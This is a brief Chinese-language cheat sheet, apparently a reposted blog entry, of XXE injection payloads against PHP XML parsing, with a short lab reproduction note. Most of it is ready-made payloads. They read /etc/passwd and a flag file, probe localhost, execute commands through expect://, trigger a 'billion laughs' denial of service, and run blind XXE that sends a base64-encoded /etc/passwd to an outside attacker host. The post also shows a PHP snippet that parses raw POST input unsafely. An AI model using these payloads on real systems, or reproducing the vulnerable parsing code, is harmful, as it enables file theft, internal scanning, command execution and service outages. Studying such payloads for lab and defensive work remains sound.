PHP環境 XML外部實體註入漏洞(XXE)
阿新 • • 發佈:2019-01-13
base64 pos tps txt system pass 很多 expec resource
XXE
XXE漏洞的文章網上就很多了
文件讀取
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root><name>&xxe;</name></root>
<!DOCTYPE root[ <!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt"> ]> <root><name>&xxe;</name></root>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "c:/windows/date.ini">
]>
<root><name>&xxe;</name></root>
內網探測
<!DOCTYPE root[ <!ENTITY xxe SYSTEM "http://localhost/"> ]> <root><name>&xxe;</name></root>
命令執行
<!DOCTYPE root[
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ls" >
]>
<root>
<name>&xxe;</name>
</root>
Dos攻擊
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
Blind XXE
- payload
<!DOCTYPE root[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://www.xxx.com/evil">
%dtd;
%all;
%send;
]>
- http://www.xxx.com/evil
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xx.xx.xx.xx/?f=%file;'>">
復現
容器啟動後先看一下其中的代碼
<?php
$data = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($data);
從php://input讀取數據,直接post就行
參考:
淺談XXE漏洞攻擊與防禦
PHP環境 XML外部實體註入漏洞(XXE)